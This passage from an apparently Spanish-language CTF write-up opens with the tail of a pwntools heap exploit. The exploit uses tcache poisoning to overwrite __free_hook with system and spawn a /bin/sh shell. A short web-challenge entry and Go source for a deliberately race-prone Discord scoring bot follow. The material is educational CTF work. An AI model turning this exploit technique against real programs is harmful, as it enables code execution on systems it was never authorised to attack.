<span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Got leak: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">yesno</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">"CCCC"</span><span class="p">,</span><span class="n">b</span><span class="s">"CCCC"</span><span class="p">)</span> <span class="c1">#3
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">"DDDD"</span><span class="p">,</span><span class="n">b</span><span class="s">"DDDD"</span><span class="p">)</span> <span class="c1">#4
</span><span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">"AAAA"</span><span class="p">,</span> <span class="n">b</span><span class="s">"D"</span><span class="p">)</span> <span class="c1">#5
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'Y'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">64</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x6b0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mh">0x20</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">"AAAA"</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="c1">#4
#delete(1)
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span><span class="p">,</span><span class="n">b</span><span class="s">'C'</span><span class="p">)</span> <span class="c1">#6
</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Delete?"</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3b18e8</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">]</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Malloc again? "</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'E'</span> <span class="o">*</span> <span class="mi">72</span><span class="p">,</span> <span class="n">b</span><span class="s">'F'</span> <span class="o">*</span> <span class="mi">64</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x100</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'/bin///sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span> <span class="n">b</span><span class="s">'F'</span> <span class="o">*</span> <span class="mi">64</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x100</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x91</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span> <span class="p">,</span> <span class="n">b</span><span class="s">'W'</span> <span class="o">*</span> <span class="mi">64</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"trigger tcache poison ?"</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'B'</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span><span class="p">)</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x41770</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span>
<span class="s">'''
0x41602 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x41656 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xdeec2 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''</span>
<span class="c1"># overwrite the hook
#malloc(9, 0x20, p64(system) , b'F')
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="p">,</span> <span class="n">b</span><span class="s">'F'</span><span class="p">)</span>
<span class="c1"># free the chunk
</span><span class="n">yesno</span><span class="p">(</span><span class="s">"free the chunk with /bin/sh?"</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h1 id="web">web</h1>
<h2 id="bounty-sir-pls">bounty sir pls</h2>
<p>Descripción:</p>
<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code>En CDM, estuvimos demasiado ocupados realizando el CTF como para investigar sobre las personas inscritas.
Es por eso que le confiamos el servicio de "<span class="sb">`CHECKEAR DNI`</span>" a una empresa externa, total... es solo identificar imágenes :D
</code></pre></div></div>
<p>Este reto, fue inspirado en un <code class="highlighter-rouge">bug</code> que encontré hace poco <code class="highlighter-rouge">"in the wild"</code>, si bien, es algo poco común de ver, no es imposible de encontrar :D, la explicación fue hecha en vivo, ojalá que les haya gustado :D</p>
<p><a href="https://youtu.be/TIaoAEOMAYs?t=37611">link</a></p>
<h1 id="misc">misc</h1>
<h2 id="bot-meister">bot meister</h2>
<p>Descripción:</p>
<div class="language-md highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
Hice 3 cursos de GoLang en udemy y ya estoy listo para postular como programador senior :3
Lo único que me falta manejar son los <span class="sb">`mutex y locks`</span>, pero para un mísero bot de discord la verdad es que no hace falta :D
</code></pre></div></div>
<p>Si bien, la primera idea del reto es que haya sido un reto de <code class="highlighter-rouge">reversing</code>, el tiempo no daba para la cantidad de trabajo necesario para reversear el binario <code class="highlighter-rouge">(golang cosas)</code>. Por lo que se daba el source code del bot.<br />
Se daban los 3 archivos fuente del bot, además la descripción señala por donde va el tema :D</p>
<p>main.go</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span><span class="x"> </span><span class="n">main</span><span class="x">
</span><span class="k">import</span><span class="x"> </span><span class="p">(</span><span class="x">
</span><span class="s">"database/sql"</span><span class="x">
</span><span class="s">"errors"</span><span class="x">
</span><span class="s">"fmt"</span><span class="x">
</span><span class="s">"github.com/bwmarrin/discordgo"</span><span class="x">
</span><span class="s">"github.com/jcatala/bot-meister/pkg/botmeister"</span><span class="x">
</span><span class="s">"github.com/joho/godotenv"</span><span class="x">
</span><span class="n">_</span><span class="x"> </span><span class="s">"github.com/mattn/go-sqlite3"</span><span class="x">
</span><span class="s">"log"</span><span class="x">
</span><span class="s">"os"</span><span class="x">
</span><span class="s">"os/signal"</span><span class="x">
</span><span class="s">"syscall"</span><span class="x">
</span><span class="p">)</span><span class="x">
</span><span class="k">type</span><span class="x"> </span><span class="n">user</span><span class="x"> </span><span class="k">struct</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">username</span><span class="x"> </span><span class="kt">string</span><span class="x">
</span><span class="n">score</span><span class="x"> </span><span class="kt">int</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="n">getDcToken</span><span class="p">()(</span><span class="n">response</span><span class="x"> </span><span class="kt">string</span><span class="p">,</span><span class="x"> </span><span class="n">e</span><span class="x"> </span><span class="kt">error</span><span class="p">){</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">godotenv</span><span class="o">.</span><span class="n">Load</span><span class="p">()</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="k">return</span><span class="x"> </span><span class="s">""</span><span class="p">,</span><span class="x"> </span><span class="n">errors</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"Error loading the .env"</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">dcToken</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">os</span><span class="o">.</span><span class="n">Getenv</span><span class="p">(</span><span class="s">"discord_key"</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x"> </span><span class="n">dcToken</span><span class="p">,</span><span class="x"> </span><span class="no">nil</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="c">/*
create table user(username varchar(255), score int);
*/</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="n">main</span><span class="p">()</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Starting..."</span><span class="p">)</span><span class="x">
</span><span class="k">const</span><span class="x"> </span><span class="n">version</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="s">"0.0.1 beta"</span><span class="x">
</span><span class="n">db</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">sql</span><span class="o">.</span><span class="n">Open</span><span class="p">(</span><span class="s">"sqlite3"</span><span class="p">,</span><span class="x"> </span><span class="s">"./db.db"</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">p</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">botmeister</span><span class="o">.</span><span class="n">CreateBotMeister</span><span class="p">(</span><span class="n">db</span><span class="p">)</span><span class="x">
</span><span class="c">// I need to learn how to use flag variables ...</span><span class="x">
</span><span class="n">token</span><span class="p">,</span><span class="x"> </span><span class="n">_</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">getDcToken</span><span class="p">()</span><span class="x">
</span><span class="n">dg</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">discordgo</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"Bot "</span><span class="x"> </span><span class="o">+</span><span class="x"> </span><span class="n">token</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on creating discord object "</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">dg</span><span class="o">.</span><span class="n">AddHandler</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">Core</span><span class="p">)</span><span class="x">
</span><span class="n">dg</span><span class="o">.</span><span class="n">Identify</span><span class="o">.</span><span class="n">Intents</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">discordgo</span><span class="o">.</span><span class="n">IntentsGuildMessages</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">dg</span><span class="o">.</span><span class="n">Open</span><span class="p">()</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="s">"Error on opening dbot</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">sc</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="nb">make</span><span class="p">(</span><span class="k">chan</span><span class="x"> </span><span class="n">os</span><span class="o">.</span><span class="n">Signal</span><span class="p">,</span><span class="x"> </span><span class="m">1</span><span class="p">)</span><span class="x">
</span><span class="n">signal</span><span class="o">.</span><span class="n">Notify</span><span class="p">(</span><span class="n">sc</span><span class="p">,</span><span class="x"> </span><span class="n">syscall</span><span class="o">.</span><span class="n">SIGINT</span><span class="p">,</span><span class="x"> </span><span class="n">syscall</span><span class="o">.</span><span class="n">SIGTERM</span><span class="p">,</span><span class="x"> </span><span class="n">os</span><span class="o">.</span><span class="n">Interrupt</span><span class="p">,</span><span class="x"> </span><span class="n">os</span><span class="o">.</span><span class="n">Kill</span><span class="p">)</span><span class="x">
</span><span class="o"><-</span><span class="n">sc</span><span class="x">
</span><span class="c">// If signal, exit flawlessly</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Exiting..</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="n">dg</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="p">}</span><span class="x">
</span></code></pre></div></div>
<p>botmeister</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span><span class="x"> </span><span class="n">botmeister</span><span class="x">
</span><span class="k">import</span><span class="x"> </span><span class="p">(</span><span class="x">
</span><span class="s">"database/sql"</span><span class="x">
</span><span class="s">"errors"</span><span class="x">
</span><span class="s">"fmt"</span><span class="x">
</span><span class="s">"github.com/bwmarrin/discordgo"</span><span class="x">
</span><span class="s">"log"</span><span class="x">
</span><span class="s">"os"</span><span class="x">
</span><span class="s">"strings"</span><span class="x">
</span><span class="s">"time"</span><span class="x">
</span><span class="s">"github.com/jcatala/bot-meister/pkg/game"</span><span class="x">
</span><span class="p">)</span><span class="x">
</span><span class="k">type</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="x"> </span><span class="k">struct</span><span class="p">{</span><span class="x">
</span><span class="n">DB</span><span class="x"> </span><span class="n">sql</span><span class="o">.</span><span class="n">DB</span><span class="x">
</span><span class="n">Verbose</span><span class="x"> </span><span class="kt">bool</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="n">CreateBotMeister</span><span class="p">(</span><span class="n">db</span><span class="x"> </span><span class="o">*</span><span class="n">sql</span><span class="o">.</span><span class="n">DB</span><span class="p">)(</span><span class="o">*</span><span class="n">BotMeisterDB</span><span class="p">){</span><span class="x">
</span><span class="n">p</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="nb">new</span><span class="p">(</span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="o">*</span><span class="n">db</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">Verbose</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="no">true</span><span class="x">
</span><span class="k">return</span><span class="x"> </span><span class="n">p</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">addN</span><span class="p">(</span><span class="n">id</span><span class="x"> </span><span class="kt">string</span><span class="p">,</span><span class="x"> </span><span class="n">who</span><span class="x"> </span><span class="kt">string</span><span class="p">,</span><span class="x"> </span><span class="n">n</span><span class="x"> </span><span class="kt">int</span><span class="p">){</span><span class="x">
</span><span class="n">res</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"select * from users where username = ?"</span><span class="p">,</span><span class="x"> </span><span class="n">who</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on prepare statement"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">defer</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="n">curr_user</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">game</span><span class="o">.</span><span class="n">User</span><span class="p">{</span><span class="x">
</span><span class="n">Id</span><span class="o">:</span><span class="x"> </span><span class="o">-</span><span class="m">1</span><span class="p">,</span><span class="x">
</span><span class="n">Username</span><span class="o">:</span><span class="x"> </span><span class="s">""</span><span class="p">,</span><span class="x">
</span><span class="n">Score</span><span class="o">:</span><span class="x"> </span><span class="m">0</span><span class="p">,</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">for</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Next</span><span class="p">(){</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Scan</span><span class="p">(</span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Id</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Username</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Score</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">curr_user</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">curr_user</span><span class="o">.</span><span class="n">Id</span><span class="x"> </span><span class="o">==</span><span class="x"> </span><span class="o">-</span><span class="m">1</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Creating the new user because it doesnt existed before, lol</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="p">,</span><span class="x"> </span><span class="n">_</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Prepare</span><span class="p">(</span><span class="s">"INSERT INTO users(id, username, score) values(?,?,?)"</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Exec</span><span class="p">(</span><span class="n">id</span><span class="p">,</span><span class="x"> </span><span class="n">who</span><span class="p">,</span><span class="x"> </span><span class="m">1</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">stmt</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Prepare</span><span class="p">(</span><span class="s">"UPDATE users set score = ? where id = ?"</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Exec</span><span class="p">(</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Score</span><span class="x"> </span><span class="o">+</span><span class="x"> </span><span class="n">n</span><span class="p">,</span><span class="x"> </span><span class="n">curr_user</span><span class="o">.</span><span class="n">Id</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error on updating</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="x"> </span><span class="p">)</span><span class="x"> </span><span class="n">help_response</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"`%s`, Gracias por usar el botmeister - BOT!</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"Prefix: -</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"El primero que llega a 20 puntos se lleva la flag, sin hacer trampa! :D</span><span class="se">\n\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"Comandos:</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"`-powerup` (Aumenta en 1 tus puntos)</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"`-super_powerup` (Aumenta en 10 tus puntos, (TESTING, precaución))</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"`-top` (Puntaje actual del servidor)</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"`-me` (Muestra tú puntaje)</span><span class="se">\n\n\n</span><span class="s">"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"Más comandos se vendrán en la siguiente versión"</span><span class="x">
</span><span class="n">helpMsg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">helpMsg</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">helpMsg</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">do_top</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">res</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"select * from users order by score desc limit 5 "</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on getting top"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">topFive</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="p">[]</span><span class="n">game</span><span class="o">.</span><span class="n">User</span><span class="p">{}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on prepare statement"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">defer</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="k">for</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Next</span><span class="p">(){</span><span class="x">
</span><span class="n">curr_user</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">game</span><span class="o">.</span><span class="n">User</span><span class="p">{</span><span class="n">Id</span><span class="o">:</span><span class="x"> </span><span class="o">-</span><span class="m">1</span><span class="p">,</span><span class="x"> </span><span class="n">Username</span><span class="o">:</span><span class="x"> </span><span class="s">""</span><span class="p">,</span><span class="x"> </span><span class="n">Score</span><span class="o">:</span><span class="x"> </span><span class="m">0</span><span class="p">}</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Scan</span><span class="p">(</span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Id</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Username</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">curr_user</span><span class="o">.</span><span class="n">Score</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">topFive</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="nb">append</span><span class="p">(</span><span class="n">topFive</span><span class="p">,</span><span class="x"> </span><span class="n">curr_user</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
